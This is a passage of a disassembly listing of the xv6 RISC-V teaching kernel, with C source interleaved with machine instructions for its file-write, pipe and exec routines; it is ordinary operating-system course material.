s2,-1 8000468e: b755 j 80004632 <fileread+0x60> 80004690: 597d li s2,-1 80004692: b745 j 80004632 <fileread+0x60> 0000000080004694 <filewrite>: int filewrite(struct file *f, uint64 addr, int n) { int r, ret = 0; if(f->writable == 0) 80004694: 00954783 lbu a5,9(a0) 80004698: 14078563 beqz a5,800047e2 <filewrite+0x14e> { 8000469c: 715d addi sp,sp,-80 8000469e: e486 sd ra,72(sp) 800046a0: e0a2 sd s0,64(sp) 800046a2: fc26 sd s1,56(sp) 800046a4: f84a sd s2,48(sp) 800046a6: f44e sd s3,40(sp) 800046a8: f052 sd s4,32(sp) 800046aa: ec56 sd s5,24(sp) 800046ac: e85a sd s6,16(sp) 800046ae: e45e sd s7,8(sp) 800046b0: e062 sd s8,0(sp) 800046b2: 0880 addi s0,sp,80 800046b4: 892a mv s2,a0 800046b6: 8aae mv s5,a1 800046b8: 8a32 mv s4,a2 return -1; if(f->type == FD_PIPE){ 800046ba: 411c lw a5,0(a0) 800046bc: 4705 li a4,1 800046be: 02e78263 beq a5,a4,800046e2 <filewrite+0x4e> ret = pipewrite(f->pipe, addr, n); } else if(f->type == FD_DEVICE){ 800046c2: 470d li a4,3 800046c4: 02e78563 beq a5,a4,800046ee <filewrite+0x5a> if(f->major < 0 || f->major >= NDEV || !devsw[f->major].write) return -1; ret = devsw[f->major].write(1, addr, n); } else if(f->type == FD_INODE){ 800046c8: 4709 li a4,2 800046ca: 10e79463 bne a5,a4,800047d2 <filewrite+0x13e> // and 2 blocks of slop for non-aligned writes. // this really belongs lower down, since writei() // might be writing a device like the console. int max = ((MAXOPBLOCKS-1-1-2) / 2) * BSIZE; int i = 0; while(i < n){ 800046ce: 0ec05e63 blez a2,800047ca <filewrite+0x136> int i = 0; 800046d2: 4981 li s3,0 800046d4: 6b05 lui s6,0x1 800046d6: c00b0b13 addi s6,s6,-1024 # c00 <_entry-0x7ffff400> 800046da: 6b85 lui s7,0x1 800046dc: c00b8b9b addiw s7,s7,-1024 800046e0: a851 j 80004774 <filewrite+0xe0> ret = pipewrite(f->pipe, addr, n); 800046e2: 6908 ld a0,16(a0) 800046e4: 00000097 auipc ra,0x0 800046e8: 254080e7 jalr 596(ra) # 80004938 <pipewrite> 800046ec: a85d j 800047a2 <filewrite+0x10e> if(f->major < 0 || f->major >= NDEV || !devsw[f->major].write) 800046ee: 02451783 lh a5,36(a0) 800046f2: 03079693 slli a3,a5,0x30 800046f6: 92c1 srli a3,a3,0x30 800046f8: 4725 li a4,9 800046fa: 0ed76663 bltu a4,a3,800047e6 <filewrite+0x152> 800046fe: 0792 slli a5,a5,0x4 80004700: 0001d717 auipc a4,0x1d 80004704: 2b070713 addi a4,a4,688 # 800219b0 <devsw> 80004708: 97ba add a5,a5,a4 8000470a: 679c ld a5,8(a5) 8000470c: cff9 beqz a5,800047ea <filewrite+0x156> ret = devsw[f->major].write(1, addr, n); 8000470e: 4505 li a0,1 80004710: 9782 jalr a5 80004712: a841 j 800047a2 <filewrite+0x10e> 80004714: 00048c1b sext.w s8,s1 int n1 = n - i; if(n1 > max) n1 = max; begin_op(); 80004718: 00000097 auipc ra,0x0 8000471c: 8ae080e7 jalr -1874(ra) # 80003fc6 <begin_op> ilock(f->ip); 80004720: 01893503 ld a0,24(s2) 80004724: fffff097 auipc ra,0xfffff 80004728: ee6080e7 jalr -282(ra) # 8000360a <ilock> if ((r = writei(f->ip, 1, addr + i, f->off, n1)) > 0) 8000472c: 8762 mv a4,s8 8000472e: 02092683 lw a3,32(s2) 80004732: 01598633 add a2,s3,s5 80004736: 4585 li a1,1 80004738: 01893503 ld a0,24(s2) 8000473c: fffff097 auipc ra,0xfffff 80004740: 278080e7 jalr 632(ra) # 800039b4 <writei> 80004744: 84aa mv s1,a0 80004746: 02a05f63 blez a0,80004784 <filewrite+0xf0> f->off += r; 8000474a: 02092783 lw a5,32(s2) 8000474e: 9fa9 addw a5,a5,a0 80004750: 02f92023 sw a5,32(s2) iunlock(f->ip); 80004754: 01893503 ld a0,24(s2) 80004758: fffff097 auipc ra,0xfffff 8000475c: f74080e7 jalr -140(ra) # 800036cc <iunlock> end_op(); 80004760: 00000097 auipc ra,0x0 80004764: 8e6080e7 jalr -1818(ra) # 80004046 <end_op> if(r < 0) break; if(r != n1) 80004768: 049c1963 bne s8,s1,800047ba <filewrite+0x126> panic("short filewrite"); i += r; 8000476c: 013489bb addw s3,s1,s3 while(i < n){ 80004770: 0349d663 bge s3,s4,8000479c <filewrite+0x108> int n1 = n - i; 80004774: 413a07bb subw a5,s4,s3 if(n1 > max) 80004778: 84be mv s1,a5 8000477a: 2781 sext.w a5,a5 8000477c: f8fb5ce3 bge s6,a5,80004714 <filewrite+0x80> 80004780: 84de mv s1,s7 80004782: bf49 j 80004714 <filewrite+0x80> iunlock(f->ip); 80004784: 01893503 ld a0,24(s2) 80004788: fffff097 auipc ra,0xfffff 8000478c: f44080e7 jalr -188(ra) # 800036cc <iunlock> end_op(); 80004790: 00000097 auipc ra,0x0 80004794: 8b6080e7 jalr -1866(ra) # 80004046 <end_op> if(r < 0) 80004798: fc04d8e3 bgez s1,80004768 <filewrite+0xd4> } ret = (i == n ? n : -1); 8000479c: 8552 mv a0,s4 8000479e: 033a1863 bne s4,s3,800047ce <filewrite+0x13a> } else { panic("filewrite"); } return ret; } 800047a2: 60a6 ld ra,72(sp) 800047a4: 6406 ld s0,64(sp) 800047a6: 74e2 ld s1,56(sp) 800047a8: 7942 ld s2,48(sp) 800047aa: 79a2 ld s3,40(sp) 800047ac: 7a02 ld s4,32(sp) 800047ae: 6ae2 ld s5,24(sp) 800047b0: 6b42 ld s6,16(sp) 800047b2: 6ba2 ld s7,8(sp) 800047b4: 6c02 ld s8,0(sp) 800047b6: 6161 addi sp,sp,80 800047b8: 8082 ret panic("short filewrite"); 800047ba: 00004517 auipc a0,0x4 800047be: ed650513 addi a0,a0,-298 # 80008690 <syscalls+0x268> 800047c2: ffffc097 auipc ra,0xffffc 800047c6: d86080e7 jalr -634(ra) # 80000548 <panic> int i = 0; 800047ca: 4981 li s3,0 800047cc: bfc1 j 8000479c <filewrite+0x108> ret = (i == n ? n : -1); 800047ce: 557d li a0,-1 800047d0: bfc9 j 800047a2 <filewrite+0x10e> panic("filewrite"); 800047d2: 00004517 auipc a0,0x4 800047d6: ece50513 addi a0,a0,-306 # 800086a0 <syscalls+0x278> 800047da: ffffc097 auipc ra,0xffffc 800047de: d6e080e7 jalr -658(ra) # 80000548 <panic> return -1; 800047e2: 557d li a0,-1 } 800047e4: 8082 ret return -1; 800047e6: 557d li a0,-1 800047e8: bf6d j 800047a2 <filewrite+0x10e> 800047ea: 557d li a0,-1 800047ec: bf5d j 800047a2 <filewrite+0x10e> 00000000800047ee <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 800047ee: 7179 addi sp,sp,-48 800047f0: f406 sd ra,40(sp) 800047f2: f022 sd s0,32(sp) 800047f4: ec26 sd s1,24(sp) 800047f6: e84a sd s2,16(sp) 800047f8: e44e sd s3,8(sp) 800047fa: e052 sd s4,0(sp) 800047fc: 1800 addi s0,sp,48 800047fe: 84aa mv s1,a0 80004800: 8a2e mv s4,a1 struct pipe *pi; pi = 0; *f0 = *f1 = 0; 80004802: 0005b023 sd zero,0(a1) 80004806: 00053023 sd zero,0(a0) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8000480a: 00000097 auipc ra,0x0 8000480e: bd2080e7 jalr -1070(ra) # 800043dc <filealloc> 80004812: e088 sd a0,0(s1) 80004814: c551 beqz a0,800048a0 <pipealloc+0xb2> 80004816: 00000097 auipc ra,0x0 8000481a: bc6080e7 jalr -1082(ra) # 800043dc <filealloc> 8000481e: 00aa3023 sd a0,0(s4) 80004822: c92d beqz a0,80004894 <pipealloc+0xa6> goto bad; if((pi = (struct pipe*)kalloc()) == 0) 80004824: ffffc097 auipc ra,0xffffc 80004828: 2fc080e7 jalr 764(ra) # 80000b20 <kalloc> 8000482c: 892a mv s2,a0 8000482e: c125 beqz a0,8000488e <pipealloc+0xa0> goto bad; pi->readopen = 1; 80004830: 4985 li s3,1 80004832: 23352023 sw s3,544(a0) pi->writeopen = 1; 80004836: 23352223 sw s3,548(a0) pi->nwrite = 0; 8000483a: 20052e23 sw zero,540(a0) pi->nread = 0; 8000483e: 20052c23 sw zero,536(a0) initlock(&pi->lock, "pipe"); 80004842: 00004597 auipc a1,0x4 80004846: e6e58593 addi a1,a1,-402 # 800086b0 <syscalls+0x288> 8000484a: ffffc097 auipc ra,0xffffc 8000484e: 336080e7 jalr 822(ra) # 80000b80 <initlock> (*f0)->type = FD_PIPE; 80004852: 609c ld a5,0(s1) 80004854: 0137a023 sw s3,0(a5) (*f0)->readable = 1; 80004858: 609c ld a5,0(s1) 8000485a: 01378423 sb s3,8(a5) (*f0)->writable = 0; 8000485e: 609c ld a5,0(s1) 80004860: 000784a3 sb zero,9(a5) (*f0)->pipe = pi; 80004864: 609c ld a5,0(s1) 80004866: 0127b823 sd s2,16(a5) (*f1)->type = FD_PIPE; 8000486a: 000a3783 ld a5,0(s4) 8000486e: 0137a023 sw s3,0(a5) (*f1)->readable = 0; 80004872: 000a3783 ld a5,0(s4) 80004876: 00078423 sb zero,8(a5) (*f1)->writable = 1; 8000487a: 000a3783 ld a5,0(s4) 8000487e: 013784a3 sb s3,9(a5) (*f1)->pipe = pi; 80004882: 000a3783 ld a5,0(s4) 80004886: 0127b823 sd s2,16(a5) return 0; 8000488a: 4501 li a0,0 8000488c: a025 j 800048b4 <pipealloc+0xc6> bad: if(pi) kfree((char*)pi); if(*f0) 8000488e: 6088 ld a0,0(s1) 80004890: e501 bnez a0,80004898 <pipealloc+0xaa> 80004892: a039 j 800048a0 <pipealloc+0xb2> 80004894: 6088 ld a0,0(s1) 80004896: c51d beqz a0,800048c4 <pipealloc+0xd6> fileclose(*f0); 80004898: 00000097 auipc ra,0x0 8000489c: c00080e7 jalr -1024(ra) # 80004498 <fileclose> if(*f1) 800048a0: 000a3783 ld a5,0(s4) fileclose(*f1); return -1; 800048a4: 557d li a0,-1 if(*f1) 800048a6: c799 beqz a5,800048b4 <pipealloc+0xc6> fileclose(*f1); 800048a8: 853e mv a0,a5 800048aa: 00000097 auipc ra,0x0 800048ae: bee080e7 jalr -1042(ra) # 80004498 <fileclose> return -1; 800048b2: 557d li a0,-1 } 800048b4: 70a2 ld ra,40(sp) 800048b6: 7402 ld s0,32(sp) 800048b8: 64e2 ld s1,24(sp) 800048ba: 6942 ld s2,16(sp) 800048bc: 69a2 ld s3,8(sp) 800048be: 6a02 ld s4,0(sp) 800048c0: 6145 addi sp,sp,48 800048c2: 8082 ret return -1; 800048c4: 557d li a0,-1 800048c6: b7fd j 800048b4 <pipealloc+0xc6> 00000000800048c8 <pipeclose>: void pipeclose(struct pipe *pi, int writable) { 800048c8: 1101 addi sp,sp,-32 800048ca: ec06 sd ra,24(sp) 800048cc: e822 sd s0,16(sp) 800048ce: e426 sd s1,8(sp) 800048d0: e04a sd s2,0(sp) 800048d2: 1000 addi s0,sp,32 800048d4: 84aa mv s1,a0 800048d6: 892e mv s2,a1 acquire(&pi->lock); 800048d8: ffffc097 auipc ra,0xffffc 800048dc: 338080e7 jalr 824(ra) # 80000c10 <acquire> if(writable){ 800048e0: 02090d63 beqz s2,8000491a <pipeclose+0x52> pi->writeopen = 0; 800048e4: 2204a223 sw zero,548(s1) wakeup(&pi->nread); 800048e8: 21848513 addi a0,s1,536 800048ec: ffffe097 auipc ra,0xffffe 800048f0: a84080e7 jalr -1404(ra) # 80002370 <wakeup> } else { pi->readopen = 0; wakeup(&pi->nwrite); } if(pi->readopen == 0 && pi->writeopen == 0){ 800048f4: 2204b783 ld a5,544(s1) 800048f8: eb95 bnez a5,8000492c <pipeclose+0x64> release(&pi->lock); 800048fa: 8526 mv a0,s1 800048fc: ffffc097 auipc ra,0xffffc 80004900: 3c8080e7 jalr 968(ra) # 80000cc4 <release> kfree((char*)pi); 80004904: 8526 mv a0,s1 80004906: ffffc097 auipc ra,0xffffc 8000490a: 11e080e7 jalr 286(ra) # 80000a24 <kfree> } else release(&pi->lock); } 8000490e: 60e2 ld ra,24(sp) 80004910: 6442 ld s0,16(sp) 80004912: 64a2 ld s1,8(sp) 80004914: 6902 ld s2,0(sp) 80004916: 6105 addi sp,sp,32 80004918: 8082 ret pi->readopen = 0; 8000491a: 2204a023 sw zero,544(s1) wakeup(&pi->nwrite); 8000491e: 21c48513 addi a0,s1,540 80004922: ffffe097 auipc ra,0xffffe 80004926: a4e080e7 jalr -1458(ra) # 80002370 <wakeup> 8000492a: b7e9 j 800048f4 <pipeclose+0x2c> release(&pi->lock); 8000492c: 8526 mv a0,s1 8000492e: ffffc097 auipc ra,0xffffc 80004932: 396080e7 jalr 918(ra) # 80000cc4 <release> } 80004936: bfe1 j 8000490e <pipeclose+0x46> 0000000080004938 <pipewrite>: int pipewrite(struct pipe *pi, uint64 addr, int n) { 80004938: 7119 addi sp,sp,-128 8000493a: fc86 sd ra,120(sp) 8000493c: f8a2 sd s0,112(sp) 8000493e: f4a6 sd s1,104(sp) 80004940: f0ca sd s2,96(sp) 80004942: ecce sd s3,88(sp) 80004944: e8d2 sd s4,80(sp) 80004946: e4d6 sd s5,72(sp) 80004948: e0da sd s6,64(sp) 8000494a: fc5e sd s7,56(sp) 8000494c: f862 sd s8,48(sp) 8000494e: f466 sd s9,40(sp) 80004950: f06a sd s10,32(sp) 80004952: ec6e sd s11,24(sp) 80004954: 0100 addi s0,sp,128 80004956: 84aa mv s1,a0 80004958: 8cae mv s9,a1 8000495a: 8b32 mv s6,a2 int i; char ch; struct proc *pr = myproc(); 8000495c: ffffd097 auipc ra,0xffffd 80004960: 082080e7 jalr 130(ra) # 800019de <myproc> 80004964: 892a mv s2,a0 acquire(&pi->lock); 80004966: 8526 mv a0,s1 80004968: ffffc097 auipc ra,0xffffc 8000496c: 2a8080e7 jalr 680(ra) # 80000c10 <acquire> for(i = 0; i < n; i++){ 80004970: 0d605963 blez s6,80004a42 <pipewrite+0x10a> 80004974: 89a6 mv s3,s1 80004976: 3b7d addiw s6,s6,-1 80004978: 1b02 slli s6,s6,0x20 8000497a: 020b5b13 srli s6,s6,0x20 8000497e: 4b81 li s7,0 while(pi->nwrite == pi->nread + PIPESIZE){ //DOC: pipewrite-full if(pi->readopen == 0 || pr->killed){ release(&pi->lock); return -1; } wakeup(&pi->nread); 80004980: 21848a93 addi s5,s1,536 sleep(&pi->nwrite, &pi->lock); 80004984: 21c48a13 addi s4,s1,540 } if(copyin(pr->pagetable, &ch, addr + i, 1) == -1) 80004988: 5dfd li s11,-1 8000498a: 000b8d1b sext.w s10,s7 8000498e: 8c6a mv s8,s10 while(pi->nwrite == pi->nread + PIPESIZE){ //DOC: pipewrite-full 80004990: 2184a783 lw a5,536(s1) 80004994: 21c4a703 lw a4,540(s1) 80004998: 2007879b addiw a5,a5,512 8000499c: 02f71b63 bne a4,a5,800049d2 <pipewrite+0x9a> if(pi->readopen == 0 || pr->killed){ 800049a0: 2204a783 lw a5,544(s1) 800049a4: cbad beqz a5,80004a16 <pipewrite+0xde> 800049a6: 03092783 lw a5,48(s2) 800049aa: e7b5 bnez a5,80004a16 <pipewrite+0xde> wakeup(&pi->nread); 800049ac: 8556 mv a0,s5 800049ae: ffffe097 auipc ra,0xffffe 800049b2: 9c2080e7 jalr -1598(ra) # 80002370 <wakeup> sleep(&pi->nwrite, &pi->lock); 800049b6: 85ce mv a1,s3 800049b8: 8552 mv a0,s4 800049ba: ffffe097 auipc ra,0xffffe 800049be: 830080e7 jalr -2000(ra) # 800021ea <sleep> while(pi->nwrite == pi->nread + PIPESIZE){ //DOC: pipewrite-full 800049c2: 2184a783 lw a5,536(s1) 800049c6: 21c4a703 lw a4,540(s1) 800049ca: 2007879b addiw a5,a5,512 800049ce: fcf709e3 beq a4,a5,800049a0 <pipewrite+0x68> if(copyin(pr->pagetable, &ch, addr + i, 1) == -1) 800049d2: 4685 li a3,1 800049d4: 019b8633 add a2,s7,s9 800049d8: f8f40593 addi a1,s0,-113 800049dc: 05093503 ld a0,80(s2) 800049e0: ffffd097 auipc ra,0xffffd 800049e4: d7e080e7 jalr -642(ra) # 8000175e <copyin> 800049e8: 05b50e63 beq a0,s11,80004a44 <pipewrite+0x10c> break; pi->data[pi->nwrite++ % PIPESIZE] = ch; 800049ec: 21c4a783 lw a5,540(s1) 800049f0: 0017871b addiw a4,a5,1 800049f4: 20e4ae23 sw a4,540(s1) 800049f8: 1ff7f793 andi a5,a5,511 800049fc: 97a6 add a5,a5,s1 800049fe: f8f44703 lbu a4,-113(s0) 80004a02: 00e78c23 sb a4,24(a5) for(i = 0; i < n; i++){ 80004a06: 001d0c1b addiw s8,s10,1 80004a0a: 001b8793 addi a5,s7,1 # 1001 <_entry-0x7fffefff> 80004a0e: 036b8b63 beq s7,s6,80004a44 <pipewrite+0x10c> 80004a12: 8bbe mv s7,a5 80004a14: bf9d j 8000498a <pipewrite+0x52> release(&pi->lock); 80004a16: 8526 mv a0,s1 80004a18: ffffc097 auipc ra,0xffffc 80004a1c: 2ac080e7 jalr 684(ra) # 80000cc4 <release> return -1; 80004a20: 5c7d li s8,-1 } wakeup(&pi->nread); release(&pi->lock); return i; } 80004a22: 8562 mv a0,s8 80004a24: 70e6 ld ra,120(sp) 80004a26: 7446 ld s0,112(sp) 80004a28: 74a6 ld s1,104(sp) 80004a2a: 7906 ld s2,96(sp) 80004a2c: 69e6 ld s3,88(sp) 80004a2e: 6a46 ld s4,80(sp) 80004a30: 6aa6 ld s5,72(sp) 80004a32: 6b06 ld s6,64(sp) 80004a34: 7be2 ld s7,56(sp) 80004a36: 7c42 ld s8,48(sp) 80004a38: 7ca2 ld s9,40(sp) 80004a3a: 7d02 ld s10,32(sp) 80004a3c: 6de2 ld s11,24(sp) 80004a3e: 6109 addi sp,sp,128 80004a40: 8082 ret for(i = 0; i < n; i++){ 80004a42: 4c01 li s8,0 wakeup(&pi->nread); 80004a44: 21848513 addi a0,s1,536 80004a48: ffffe097 auipc ra,0xffffe 80004a4c: 928080e7 jalr -1752(ra) # 80002370 <wakeup> release(&pi->lock); 80004a50: 8526 mv a0,s1 80004a52: ffffc097 auipc ra,0xffffc 80004a56: 272080e7 jalr 626(ra) # 80000cc4 <release> return i; 80004a5a: b7e1 j 80004a22 <pipewrite+0xea> 0000000080004a5c <piperead>: int piperead(struct pipe *pi, uint64 addr, int n) { 80004a5c: 715d addi sp,sp,-80 80004a5e: e486 sd ra,72(sp) 80004a60: e0a2 sd s0,64(sp) 80004a62: fc26 sd s1,56(sp) 80004a64: f84a sd s2,48(sp) 80004a66: f44e sd s3,40(sp) 80004a68: f052 sd s4,32(sp) 80004a6a: ec56 sd s5,24(sp) 80004a6c: e85a sd s6,16(sp) 80004a6e: 0880 addi s0,sp,80 80004a70: 84aa mv s1,a0 80004a72: 892e mv s2,a1 80004a74: 8ab2 mv s5,a2 int i; struct proc *pr = myproc(); 80004a76: ffffd097 auipc ra,0xffffd 80004a7a: f68080e7 jalr -152(ra) # 800019de <myproc> 80004a7e: 8a2a mv s4,a0 char ch; acquire(&pi->lock); 80004a80: 8b26 mv s6,s1 80004a82: 8526 mv a0,s1 80004a84: ffffc097 auipc ra,0xffffc 80004a88: 18c080e7 jalr 396(ra) # 80000c10 <acquire> while(pi->nread == pi->nwrite && pi->writeopen){ //DOC: pipe-empty 80004a8c: 2184a703 lw a4,536(s1) 80004a90: 21c4a783 lw a5,540(s1) if(pr->killed){ release(&pi->lock); return -1; } sleep(&pi->nread, &pi->lock); //DOC: piperead-sleep 80004a94: 21848993 addi s3,s1,536 while(pi->nread == pi->nwrite && pi->writeopen){ //DOC: pipe-empty 80004a98: 02f71463 bne a4,a5,80004ac0 <piperead+0x64> 80004a9c: 2244a783 lw a5,548(s1) 80004aa0: c385 beqz a5,80004ac0 <piperead+0x64> if(pr->killed){ 80004aa2: 030a2783 lw a5,48(s4) 80004aa6: ebc1 bnez a5,80004b36 <piperead+0xda> sleep(&pi->nread, &pi->lock); //DOC: piperead-sleep 80004aa8: 85da mv a1,s6 80004aaa: 854e mv a0,s3 80004aac: ffffd097 auipc ra,0xffffd 80004ab0: 73e080e7 jalr 1854(ra) # 800021ea <sleep> while(pi->nread == pi->nwrite && pi->writeopen){ //DOC: pipe-empty 80004ab4: 2184a703 lw a4,536(s1) 80004ab8: 21c4a783 lw a5,540(s1) 80004abc: fef700e3 beq a4,a5,80004a9c <piperead+0x40> } for(i = 0; i < n; i++){ //DOC: piperead-copy 80004ac0: 09505263 blez s5,80004b44 <piperead+0xe8> 80004ac4: 4981 li s3,0 if(pi->nread == pi->nwrite) break; ch = pi->data[pi->nread++ % PIPESIZE]; if(copyout(pr->pagetable, addr + i, &ch, 1) == -1) 80004ac6: 5b7d li s6,-1 if(pi->nread == pi->nwrite) 80004ac8: 2184a783 lw a5,536(s1) 80004acc: 21c4a703 lw a4,540(s1) 80004ad0: 02f70d63 beq a4,a5,80004b0a <piperead+0xae> ch = pi->data[pi->nread++ % PIPESIZE]; 80004ad4: 0017871b addiw a4,a5,1 80004ad8: 20e4ac23 sw a4,536(s1) 80004adc: 1ff7f793 andi a5,a5,511 80004ae0: 97a6 add a5,a5,s1 80004ae2: 0187c783 lbu a5,24(a5) 80004ae6: faf40fa3 sb a5,-65(s0) if(copyout(pr->pagetable, addr + i, &ch, 1) == -1) 80004aea: 4685 li a3,1 80004aec: fbf40613 addi a2,s0,-65 80004af0: 85ca mv a1,s2 80004af2: 050a3503 ld a0,80(s4) 80004af6: ffffd097 auipc ra,0xffffd 80004afa: bdc080e7 jalr -1060(ra) # 800016d2 <copyout> 80004afe: 01650663 beq a0,s6,80004b0a <piperead+0xae> for(i = 0; i < n; i++){ //DOC: piperead-copy 80004b02: 2985 addiw s3,s3,1 80004b04: 0905 addi s2,s2,1 80004b06: fd3a91e3 bne s5,s3,80004ac8 <piperead+0x6c> break; } wakeup(&pi->nwrite); //DOC: piperead-wakeup 80004b0a: 21c48513 addi a0,s1,540 80004b0e: ffffe097 auipc ra,0xffffe 80004b12: 862080e7 jalr -1950(ra) # 80002370 <wakeup> release(&pi->lock); 80004b16: 8526 mv a0,s1 80004b18: ffffc097 auipc ra,0xffffc 80004b1c: 1ac080e7 jalr 428(ra) # 80000cc4 <release> return i; } 80004b20: 854e mv a0,s3 80004b22: 60a6 ld ra,72(sp) 80004b24: 6406 ld s0,64(sp) 80004b26: 74e2 ld s1,56(sp) 80004b28: 7942 ld s2,48(sp) 80004b2a: 79a2 ld s3,40(sp) 80004b2c: 7a02 ld s4,32(sp) 80004b2e: 6ae2 ld s5,24(sp) 80004b30: 6b42 ld s6,16(sp) 80004b32: 6161 addi sp,sp,80 80004b34: 8082 ret release(&pi->lock); 80004b36: 8526 mv a0,s1 80004b38: ffffc097 auipc ra,0xffffc 80004b3c: 18c080e7 jalr 396(ra) # 80000cc4 <release> return -1; 80004b40: 59fd li s3,-1 80004b42: bff9 j 80004b20 <piperead+0xc4> for(i = 0; i < n; i++){ //DOC: piperead-copy 80004b44: 4981 li s3,0 80004b46: b7d1 j 80004b0a <piperead+0xae> 0000000080004b48 <exec>: static int loadseg(pde_t *pgdir, uint64 addr, struct inode *ip, uint offset, uint sz); int exec(char *path, char **argv) { 80004b48: df010113 addi sp,sp,-528 80004b4c: 20113423 sd ra,520(sp) 80004b50: 20813023 sd s0,512(sp) 80004b54: ffa6 sd s1,504(sp) 80004b56: fbca sd s2,496(sp) 80004b58: f7ce sd s3,488(sp) 80004b5a: f3d2 sd s4,480(sp) 80004b5c: efd6 sd s5,472(sp) 80004b5e: ebda sd s6,464(sp) 80004b60: e7de sd s7,456(sp) 80004b62: e3e2 sd s8,448(sp) 80004b64: ff66 sd s9,440(sp) 80004b66: fb6a sd s10,432(sp) 80004b68: f76e sd s11,424(sp) 80004b6a: 0c00 addi s0,sp,528 80004b6c: 84aa mv s1,a0 80004b6e: dea43c23 sd a0,-520(s0) 80004b72: e0b43023 sd a1,-512(s0) uint64 argc, sz = 0, sp, ustack[MAXARG+1], stackbase; struct elfhdr elf; struct inode *ip; struct proghdr ph; pagetable_t pagetable = 0, oldpagetable; struct proc *p = myproc(); 80004b76: ffffd097 auipc ra,0xffffd 80004b7a: e68080e7 jalr -408(ra) # 800019de <myproc> 80004b7e: 892a mv s2,a0 begin_op(); 80004b80: fffff097 auipc ra,0xfffff 80004b84: 446080e7 jalr 1094(ra) # 80003fc6 <begin_op> if((ip = namei(path)) == 0){ 80004b88: 8526 mv a0,s1 80004b8a: fffff097 auipc ra,0xfffff 80004b8e: 230080e7 jalr 560(ra) # 80003dba <namei> 80004b92: c92d beqz a0,80004c04 <exec+0xbc> 80004b94: 84aa mv s1,a0 end_op(); return -1; } ilock(ip); 80004b96: fffff097 auipc ra,0xfffff 80004b9a: a74080e7 jalr -1420(ra) # 8000360a <ilock> // Check ELF header if(readi(ip, 0, (uint64)&elf, 0, sizeof(elf)) != sizeof(elf)) 80004b9e: 04000713 li a4,64 80004ba2: 4681 li a3,0 80004ba4: e4840613 addi a2,s0,-440 80004ba8: 4581 li a1,0 80004baa: 8526 mv a0,s1 80004bac: fffff097 auipc ra,0xfffff 80004bb0: d12080e7 jalr -750(ra) # 800038be <readi> 80004bb4: 04000793 li a5,64 80004bb8: 00f51a63 bne a0,a5,80004bcc <exec+0x84> goto bad; if(elf.magic != ELF_MAGIC) 80004bbc: e4842703 lw a4,-440(s0) 80004bc0: 464c47b7 lui a5,0x464c4 80004bc4: 57f78793 addi a5,a5,1407 # 464c457f <_entry-0x39b3ba81> 80004bc8: 04f70463 beq a4,a5,80004c10 <exec+0xc8> bad: if(pagetable) proc_freepagetable(pagetable, sz); if(ip){ iunlockput(ip); 80004bcc: 8526 mv a0,s1 80004bce: fffff097 auipc ra,0xfffff 80004bd2: c9e080e7 jalr -866(ra) # 8000386c <iunlockput> end_op(); 80004bd6: fffff097 auipc ra,0xfffff 80004bda: 470080e7 jalr 1136(ra) # 80004046 <end_op> } return -1; 80004bde: 557d li a0,-1 } 80004be0: 20813083 ld ra,520(sp) 80004be4: 20013403 ld s0,512(sp) 80004be8: 74fe ld s1,504(sp) 80004bea: 795e ld s2,496(sp) 80004bec: 79be ld s3,488(sp) 80004bee: 7a1e ld s4,480(sp) 80004bf0: 6afe ld s5,472(sp) 80004bf2: 6b5e ld s6,464(sp) 80004bf4: 6bbe ld s7,456(sp) 80004bf6: 6c1e ld s8,448(sp) 80004bf8: 7cfa ld s9,440(sp) 80004bfa: 7d5a ld s10,432(sp) 80004bfc: 7dba ld s11,424(sp) 80004bfe: 21010113 addi sp,sp,528 80004c02: 8082 ret end_op(); 80004c04: fffff097 auipc ra,0xfffff 80004c08: 442080e7 jalr 1090(ra) # 80004046 <end_op> return -1; 80004c0c: 557d li a0,-1 80004c0e: bfc9 j 80004be0 <exec+0x98> if((pagetable = proc_pagetable(p)) == 0) 80004c10: 854a mv a0,s2 80004c12: ffffd097 auipc ra,0xffffd 80004c16: e90080e7 jalr -368(ra) # 80001aa2 <proc_pagetable> 80004c1a: 8baa mv s7,a0 80004c1c: d945 beqz a0,80004bcc <exec+0x84> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80004c1e: e6842983 lw s3,-408(s0) 80004c22: e8045783 lhu a5,-384(s0) 80004c26: c7ad beqz a5,80004c90 <exec+0x148> uint64 argc, sz = 0, sp, ustack[MAXARG+1], stackbase; 80004c28: 4901 li s2,0 for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80004c2a: 4b01 li s6,0 if(ph.vaddr % PGSIZE != 0) 80004c2c: 6c85 lui s9,0x1 80004c2e: fffc8793 addi a5,s9,-1 # fff <_entry-0x7ffff001> 80004c32: def43823 sd a5,-528(s0) 80004c36: a42d j 80004e60 <exec+0x318> panic("loadseg: va must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ pa = walkaddr(pagetable, va + i); if(pa == 0) panic("loadseg: address should exist"); 80004c38: 00004517 auipc a0,0x4 80004c3c: a8050513 addi a0,a0,-1408 # 800086b8 <syscalls+0x290> 80004c40: ffffc097 auipc ra,0xffffc 80004c44: 908080e7 jalr -1784(ra) # 80000548 <panic> if(sz - i < PGSIZE) n = sz - i; else n = PGSIZE; if(readi(ip, 0, (uint64)pa, offset+i, n) != n) 80004c48: 8756 mv a4,s5 80004c4a: 012d86bb addw a3,s11,s2 80004c4e: 4581 li a1,0 80004c50: 8526 mv a0,s1 80004c52: fffff097 auipc ra,0xfffff 80004c56: c6c080e7 jalr -916(ra) # 800038be <readi> 80004c5a: 2501 sext.w a0,a0 80004c5c: 1aaa9963 bne s5,a0,80004e0e <exec+0x2c6> for(i = 0; i < sz; i += PGSIZE){ 80004c60: 6785 lui a5,0x1 80004c62: 0127893b addw s2,a5,s2 80004c66: 77fd lui a5,0xfffff 80004c68: 01478a3b addw s4,a5,s4 80004c6c: 1f897163 bgeu s2,s8,80004e4e <exec+0x306> pa = walkaddr(pagetable, va + i); 80004c70: 02091593 slli a1,s2,0x20 80004c74: 9181 srli a1,a1,0x20 80004c76: 95ea add a1,a1,s10 80004c78: 855e mv a0,s7 80004c7a: ffffc097 auipc ra,0xffffc 80004c7e: 424080e7 jalr 1060(ra) # 8000109e <walkaddr> 80004c82: 862a mv a2,a0 if(pa == 0) 80004c84: d955 beqz a0,80004c38 <exec+0xf0> n = PGSIZE; 80004c86: 8ae6 mv s5,s9 if(sz - i < PGSIZE) 80004c88: fd9a70e3 bgeu s4,s9,80004c48 <exec+0x100> n = sz - i; 80004c8c: 8ad2 mv 